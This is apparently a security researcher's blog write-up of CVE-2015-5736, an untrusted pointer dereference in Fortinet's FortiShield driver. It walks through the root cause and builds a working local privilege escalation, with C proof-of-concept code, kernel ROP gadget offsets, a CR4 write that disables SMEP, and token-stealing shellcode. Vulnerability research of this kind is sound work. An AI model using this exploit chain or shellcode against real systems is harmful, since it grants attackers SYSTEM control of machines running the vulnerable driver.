(Pointer) Trust Issues - CVE-2015-5736 Deep Dive

Exploiting an untrusted pointer dereference vulnerability

By Julian Peña

Table of Contents

Introduction

In 2015, Fortinet’s FortiShield driver (part of the FortiClient application), had an interesting vulnerability where unprivileged IOCTL calls would result in overwriting a filesystem minifilter callback function, leading to kernel-mode code execution. Though this vulnerability is quite old, I found it to be interesting.

Throughout this blog, I will uncover the root cause of the vulnerability, bypass mitigations, forge new primitives, and finally achieve LPE!

Background: Windows Filesystem Minifilters

Before diving into the vulnerability details, we must cover a core concept that will appear as part of the root cause: Filesystem Minifilters. Put simply, filesystem minifilters are drivers that intercept file I/O operations and can extend or modify such operations. These minifilter drivers fill out an FLT_REGISTRATION structure that describe its capabilities and more importantly, an array of FLT_OPERATION_REGISTRATION entries (part of the OperationRegistration field inside the FLT_REGISTRATION structure). Each entry maps an IRP major function code (i.e. IRP_MJ_WRITE or IRP_MJ_SET_INFORMATION) to a pair of callback functions: a PreOperation callback that fires before the I/O operation reaches the filesystem, and a PostOperation callback that fires after the I/O operation is processed. These structures are passed into the FltRegisterFilter() function during driver initialization and from then on, the callback functions execute in kernel mode for relevant file I/O operations.

Untrusted pointer dereference root cause analysis

As with any device driver, the reversal process is pretty straightforward. We’ll start by identifying the IOCTL dispatch function and identify interesting functionality.

The driver creates its device object and symbolic link in FxDriverEntry (0x13E50), which is called during DriverEntry:

NTSTATUS __fastcall FxDriverEntry(PDRIVER_OBJECT DriverObject)
{
  // ...SNIP... 
  
  Object = nullptr;
  byte_1C658 = 0;
  RtlInitUnicodeString(&DestinationString, L"\\Device\\FortiShield");
  RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\FortiShield");
  result = IoCreateDevice(DriverObject, 0, &DestinationString, 0x22u, 0, 0, &DeviceObject);
  if ( result >= 0 )
  {
    v3 = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
    if ( v3 >= 0 )
    {
		// ...SNIP... 
      memset64(DriverObject->MajorFunction, (unsigned __int64)&ioctlDispatch, 0x1Cu);
    }
    else
    {
      IoDeleteDevice(DeviceObject);
    }
    return v3;
  }
  return result;
}

First, FxDriverEntry creates the device object without a security descriptor, meaning that any user is able to open a handle to the FortiShield device. FxDriverEntry then initializes the ioctlDispatch subroutine for all IRP major function fields.

Inside the IOCTL Dispatch function, a switch case statement for IOCTL 0x220028 reveals a simple check for the system buffer length being at least 8 bytes, then setting the QWORD pointer, qword_1D150, directly to the user-supplied pointer without any validation checks.

case 0x220028u:
        systemBuffer = (__int64 (__fastcall **)(_QWORD))a2->AssociatedIrp.SystemBuffer;
        if ( systemBuffer && CurrentStackLocation->Parameters.DeviceIoControl.InputBufferLength == 8 )
        {
          v41 = KeAcquireSpinLockRaiseToDpc(&SpinLock);
          qword_1D150 = *systemBuffer;
          goto LABEL_75;
        }
        break;

This bug class is referred to as an untrusted pointer dereference.

Going back to the driver initialization, we recognize the familiar FltRegisterFilter(...) function:

//...SNIP...
    if ( (int)FxDriverEntry(DriverObject) >= 0 )
    {
      started = FltRegisterFilter(DriverObject, &Registration, &Filter);
      v8 = started;
//...SNIP...

Following the &Registration pointer to the OperationRegistration (FLT_OPERATION_REGISTRATION) structure (unk_1A0D0), we eventually identify the PostOperation subroutine for IRP_MJ_SET_INFORMATION that eventually calls the aforementioned pointer that can be overwritten from user-mode.

figure-1

figure-2

Triggering the bug

Now that we understand the root cause of the bug, let’s begin the exploit development process.

We’ll start by setting up a call to the vulnerable IOCTL in the FortiShield driver where the input buffer is 0x0000424242424242 (note: canonical address).

#include <iostream>
#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
#include <Psapi.h>

LPVOID GetBaseAddr(LPCWSTR drvname)
{
	LPVOID drivers[1024];
	DWORD cbNeeded;
	int nDrivers, i = 0;

	if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers))
	{

		WCHAR szDrivers[1024];
		nDrivers = cbNeeded / sizeof(drivers[0]);
		for (i = 0; i < nDrivers; i++)
		{
			if (GetDeviceDriverBaseName(drivers[i], szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0])))
			{
				if (wcscmp(szDrivers, drvname) == 0)
				{
					return drivers[i];
				}
			}
		}
	}
	return 0;
}

// Thanks, @sickness
DWORD WINAPI trigger_callback(LPVOID)
{
	if (!MoveFileExA("test.txt", "test2.txt", MOVEFILE_REPLACE_EXISTING))
	{
		printf("[!] MoveFileExA failed: %d\n", GetLastError());
	}
	return 0;
}

int main()
{
	HANDLE hDevice = CreateFile(L"\\\\.\\FortiShield", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
	if (hDevice == INVALID_HANDLE_VALUE)
	{
		printf("(!) Error while getting a handle to the driver: %d\n", GetLastError());
		exit(1);
	}

	DWORD64 nt_base = (DWORD64)GetBaseAddr(L"ntoskrnl.exe");
	DWORD64 fortishield_base = (DWORD64)GetBaseAddr(L"FortiShield.sys");

	printf("(+) NT Base: 0x%p\n", nt_base);
	printf("(+) FortiShield base: 0x%p\n", fortishield_base);

	HANDLE hFile = CreateFileA("test.txt", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
	if (hFile == INVALID_HANDLE_VALUE)
	{
		printf("[!] CreateFileA(test.txt) failed: %d\n", GetLastError());
		exit(1);
	}
	CloseHandle(hFile);

	// Set up file I/O thread
	HANDLE hTrigger = CreateThread(NULL, 0, trigger_callback, NULL, CREATE_SUSPENDED, NULL);
	if (hTrigger == NULL)
	{
		printf("[!] CreateThread failed: %d\n", GetLastError());
		exit(1);
	}


	PDWORD64 InputBuffer = PDWORD64(VirtualAlloc(0, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE));
	memset(InputBuffer, 0, 0x1000);
	InputBuffer[0] = 0x0000424242424242;

	DWORD IoControlCode = 0x220028;
	DWORD InputBufferLength = 0x8;
	ULONGLONG OutputBuffer = 0x0;
	DWORD OutputBufferLength = 0x0;
	DWORD lpBytesReturned;

	printf("(!) Brace for code execution!\n");
	getchar();
	BOOL triggerIOCTL = DeviceIoControl(hDevice, IoControlCode, (LPVOID)InputBuffer, InputBufferLength, (LPVOID)&OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL);
	
	// Trigger callback
	ResumeThread(hTrigger);
	WaitForSingleObject(hTrigger, INFINITE);
	CloseHandle(hTrigger);

	return 0;
}

NOTE: EnumDeviceDrivers is used to leak the ntoskrnl base address. This demo was done on Windows 10 1809, however, newer versions of Windows require an elevated integrity level (admin) to get results from EnumDeviceDrivers. Without an ASLR bypass, it is not possible to exploit this vulnerability reliably.

In this PoC, the InputBuffer is set to 0x0000424242424242, which means that when a file I/O operation occurs, 0x0000424242424242 should be called, resulting in a crash. It’s important to note that a thread is also created with the trigger_callback function. trigger_callback runs MoveFileExA on test.txt (created prior to the thread). The thread is created in a suspended state and immediately resumed after overwriting the minifilter callback function. This is to ensure that our exploit process is the faulting image as opposed to any other process that may perform a file I/O operation at the time of exploitation.

The crash results in the overwritten pointer being executed after MoveFileExA is called:

0: kd> k
 # Child-SP          RetAddr               Call Site
00 fffff888`83bef3d8 fffff805`2ef2c4e2     nt!DbgBreakPointWithStatus
01 fffff888`83bef3e0 fffff805`2ef2bc67     nt!KiBugCheckDebugBreak+0x12
02 fffff888`83bef440 fffff805`2ee4c037     nt!KeBugCheck2+0x957
03 fffff888`83befb60 fffff805`2ee5d669     nt!KeBugCheckEx+0x107
04 fffff888`83befba0 fffff805`2ee59a8e     nt!KiBugCheckDispatch+0x69
05 fffff888`83befce0 00004242`42424242     nt!KiPageFault+0x44e
06 fffff888`83befe78 fffff806`bbba2f66     0x00004242`42424242
07 fffff888`83befe80 fffff806`baaf442e     FortiShield+0x2f66
08 fffff888`83bf02e0 fffff806`baaf3cf3     FLTMGR!FltpPerformPostCallbacks+0x32e
09 fffff888`83bf03b0 fffff806`baaf3a8c     FLTMGR!FltpPassThroughCompletionWorker+0x73
0a fffff888`83bf0420 fffff805`2ed0454d     FLTMGR!FltpPassThroughCompletion+0xc
0b fffff888`83bf0450 fffff805`2ed04367     nt!IopfCompleteRequest+0x1cd
0c fffff888`83bf0560 fffff805`2ffad8a7     nt!IofCompleteRequest+0x17
0d fffff888`83bf0590 fffff805`3006ff2a     Ntfs!NtfsExtendedCompleteRequestInternal+0x187
0e fffff888`83bf0600 fffff805`3006eea7     Ntfs!NtfsCommonSetInformation+0xf4a
0f fffff888`83bf06e0 fffff805`2ed56189     Ntfs!NtfsFsdSetInformation+0x107
10 fffff888`83bf0790 fffff806`baaf6219     nt!IofCallDriver+0x59
11 fffff888`83bf07d0 fffff806`baaf4a36     FLTMGR!FltpLegacyProcessingAfterPreCallbacksCompleted+0x289
12 fffff888`83bf0840 fffff805`2ed56189     FLTMGR!FltpDispatch+0xb6
13 fffff888`83bf08a0 fffff805`2ecfac53     nt!IofCallDriver+0x59
14 fffff888`83bf08e0 fffff805`2ed1b99c     nt!IopCallDriverReference+0xd3
15 fffff888`83bf0950 fffff805`2ee5d085     nt!NtSetInformationFile+0x72c
16 fffff888`83bf0a90 00007ffc`76adea74     nt!KiSystemServiceCopyEnd+0x25
17 000000f9`cd7ffb68 00007ffc`72bf275e     ntdll!NtSetInformationFile+0x14
18 000000f9`cd7ffb70 00007ffc`74cfbec2     KERNELBASE!MoveFileWithProgressTransactedW+0x27e
19 000000f9`cd7ffd20 00007ffc`74cfbd2a     KERNEL32!MoveFileWithProgressTransactedA+0x8e
1a 000000f9`cd7ffd80 00007ff7`cc33117e     KERNEL32!MoveFileExA+0x1a
1b 000000f9`cd7ffdc0 00000000`00000000     FortiShield_CVE_2015_5736!trigger_callback+0x1e

Leveraging ROP

With code execution, we need to do something useful, such as stealing the SYSTEM token to elevate privileges. We’ll leverage ROP to achieve this.

To begin, we’ll use rp++ to extract gadgets from ntoskrnl.exe:

.\rp-win.exe --file C:\Windows\System32\ntoskrnl.exe --va 0 > rop.txt

ROP requires a case where returning from any given gadget will result in the following gadget being at the top of the stack. In our scenario, we do not control the stack at first. We can solve this by performing a “stack pivot” to an address we do control. Essentially, we’ll allocate a “fake stack” for the ROP chain:

PDWORD64 fakeStackBuffer = (PDWORD64)(VirtualAlloc((LPVOID)0x82FF0000, 0x18000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE));
memset(fakeStackBuffer, 0, 0x18000);

PDWORD64 fakeStack = (PDWORD64)0x83000000;
// ROP chain
DWORD index = 0;
fakeStack[index] = nt_base + 0x4e8eba; index++; // int3 ; ret

PDWORD64 InputBuffer = PDWORD64(VirtualAlloc(0, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE));
memset(InputBuffer, 0, 0x1000);
InputBuffer[0] = nt_base + 0x306606; // mov esp, 0x83000000 ; ret

The first “ROP gadget” (mov esp, 0x83000000 ; ret) stack pivots to the allocated buffer at a relative fixed address. Every gadget in the fake stack is placed in an array (fakeStack) where the index is incremented for further gadgets.

As expected, a debugger instruction is executed at this point thanks to the ROP chain:

nt!PfpScenCtxPrefetchWait+0x96:
fffff806`7c8f6eba cc              int     3

1: kd> ? nt + 0x4e8eba
Evaluate expression: -8768233443654 = fffff806`7c8f6eba


Wrong IRQL level, sir

Just when we think everything is fine, a wild bug check appears!

figure-3

The DRIVER_IRQL_NOT_LESS_OR_EQUAL bug check is a result of accessing a memory address at an IRQL that is too high. In our case, the minifilter callback is invoked at DISPATCH_LEVEL (IRQL 2) while holding a spinlock. When our shellcode attempts to access user-mode memory that has been paged out, a page fault occurs. Since page faults require DPC_LEVEL or below to process deferred procedures, accessing paged memory at DISPATCH_LEVEL triggers the bug check.

The first parameter of the bug check indicates the memory address that caused the fault, while the second parameter shows the IRQL at which the access occurred. We’ll fix this by simply calling nt!KeRaiseIrqlToDpcLevel in our ROP chain before moving forward:

//...SNIP...
PDWORD64 fakeStack = (PDWORD64)0x83000000;
DWORD index = 0;
fakeStack[index] = nt_base + 0xf64c0; index++; // nt!KeRaiseIrqlToDpcLevel
//...SNIP...

SMEP says hello

Eventually, we’ll need to execute shellcode, but we are in user-mode! We can allocate shellcode and point RIP to it, but a CPU feature known as SMEP (Supervisor Mode Execution Prevention) is designed to prevent this. When the CPU detects that RIP points to an address located in a user-mode memory page, a fault occurs.

figure-4

As indicated in the Intel manual, SMEP is located at the 20th bit inside of the CR4 register.

There are two ways to potentially go around this: we could use ROP to “disable” SMEP, or flip the U/S (User/Supervisor) bit. For now, we’ll use ROP to disable SMEP.

As a reminder, ROP capabilities are limited by the gadgets available. In this case, ntoskrnl.exe does not have a gadget that saves the value of CR4. Instead, we can “pop” a static value into RCX, then use a mov cr4, rcx ; ret gadget to overwrite CR4. The static value is just CR4 with SMEP set to 0 (disabled).

fakeStack[index] = nt_base + 0x4ef949; index++; // pop rcx ; ret
fakeStack[index] = 0x506f8; index++; // cr4 value (SMEP disabled)
fakeStack[index] = nt_base + 0x4f8949; index++; // mov cr4, rcx ; ret
//...SNIP...

LPE, at last!

After temporarily disabling SMEP, we can execute a user-mode shellcode buffer containing a simple token stealing payload and escalate privileges:

PBYTE shellcode = (PBYTE)VirtualAlloc(0, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(shellcode, token_steal, sizeof(token_steal));
*(DWORD64*)(shellcode + CB_IMM_OFF) = cbAddr;                   // patch callback ptr
*(DWORD64*)(shellcode + GADGET_IMM_OFF) = nt_base + 0x4f8949;  // patch 'mov cr4, rcx ; ret'
printf("[*] Shellcode buffer at: 0x%p (cb @ 0x%p)\n", shellcode, (void*)cbAddr);
//...SNIP...

fakeStack[index] = nt_base + 0x4f8949; index++; // mov cr4, rcx ; ret
fakeStack[index] = (DWORD64)shellcode; index++; // (shellcode addr) usermode

Token stealing payload + restoring CR4:

unsigned char token_steal[] = {
	0x65, 0x48, 0x8B, 0x04, 0x25, 0x88, 0x01, 0x00, 0x00, // mov rax, gs:[0x188]  ; KTHREAD
	0x48, 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00,             // mov rax,[rax+0xb8]  ; our EPROCESS
	0x49, 0x89, 0xC0,                                     // mov r8, rax         ; save ours
	0x48, 0x89, 0xC1,                                     // mov rcx, rax
	// find_system:
	0x48, 0x8B, 0x91, 0xE8, 0x02, 0x00, 0x00,             // mov rdx,[rcx+0x2e8] ; Flink
	0x48, 0x81, 0xEA, 0xE8, 0x02, 0x00, 0x00,             // sub rdx, 0x2e8      ; -> next EPROCESS
	0x48, 0x89, 0xD1,                                     // mov rcx, rdx
	0x4C, 0x8B, 0x89, 0xE0, 0x02, 0x00, 0x00,             // mov r9,[rcx+0x2e0]  ; PID (volatile reg!)
	0x49, 0x83, 0xF9, 0x04,                               // cmp r9, 4           ; System?
	0x75, 0xE2,                                           // jne find_system
	0x48, 0x8B, 0x81, 0x58, 0x03, 0x00, 0x00,             // mov rax,[rcx+0x358] ; System token
	0x49, 0x89, 0x80, 0x58, 0x03, 0x00, 0x00,             // mov [r8+0x358], rax ; steal it

	// NULL the FortiShield callback ptr
	0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x42: mov rax, <callbackAddr>
	0x48, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x00,             // 0x4C: mov qword ptr [rax], 0
	0x31, 0xC0,                                           // 0x53: xor eax, eax

	// CR4/SMEP restore
	0x0F, 0x20, 0xE0,                                     // 0x55: mov rax, cr4
	0x48, 0x0F, 0xBA, 0xE8, 0x14,                         // 0x58: bts rax, 20      ; SMEP bit
	0x48, 0x89, 0xC1,                                     // 0x5D: mov rcx, rax     ; rcx = CR4|SMEP
	0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x60: mov rax, <restoreGadget> (imm64 @ +0x62)
	0x48, 0x8D, 0x66, 0xD0,                               // 0x6A: lea rsp, [rsi-0x30] ; 
	0x48, 0x89, 0x04, 0x24,                               // 0x6E: mov [rsp], rax     ; gadget addr -> [rsi-0x30]
	0xC3                                                  // 0x72: ret -> kernel gadget 'mov cr4, rcx ; ret'
};
#define CB_IMM_OFF        0x44   // callback-ptr address inside token_steal 
#define GADGET_IMM_OFF    0x62   // gadget imm64 offset inside token_steal

NOTE: Since we tampered with CR4 (SMEP), we must restore it before returning out of the callback function. If we do not do this, Kernel Patch Protection (KPP, a.k.a. PatchGuard) will trigger a CRITICAL_STRUCTURE_CORRUPTION bug check.

Now, feast your eyes upon this SYSTEM shell!

figure-5

Forging arbitrary read and write: PreviousMode

Though ROP can be used to disable SMEP and execute shellcode from a user-mode buffer, it’s possible to completely avoid SMEP. Inside the _KTHREAD structure of a process, there exists an interesting field called PreviousMode. When calling NtReadVirtualMemory and NtWriteVirtualMemory, the kernel checks this field to determine if a kernel-mode address can be read or written to.

By default, PreviousMode is set to 1 (user-mode). By “flipping” this single bit to 0 (kernel-mode), we can overcome kernel-mode address read and write restrictions from user-mode and perform data-only attacks without ROP. I will leave the implementation of this as an exercise to the reader.

Unfortunately, this trick has been mitigated since Windows 11 24H2.

Conclusion

What seems like an issue that should never happen, untrusted pointer dereference vulnerabilities are not unheard of and even appear every now and then in MSRC patch tuesday notes.

If you want to play around with this bug, I’ve uploaded my personal PoC alongside the vulnerable driver file and installer!

I learned a lot while working through this bug, and if you’ve read this far, thank you! I hope you also learned something valuable. ‘See you next time!

References

Share: X (Twitter) LinkedIn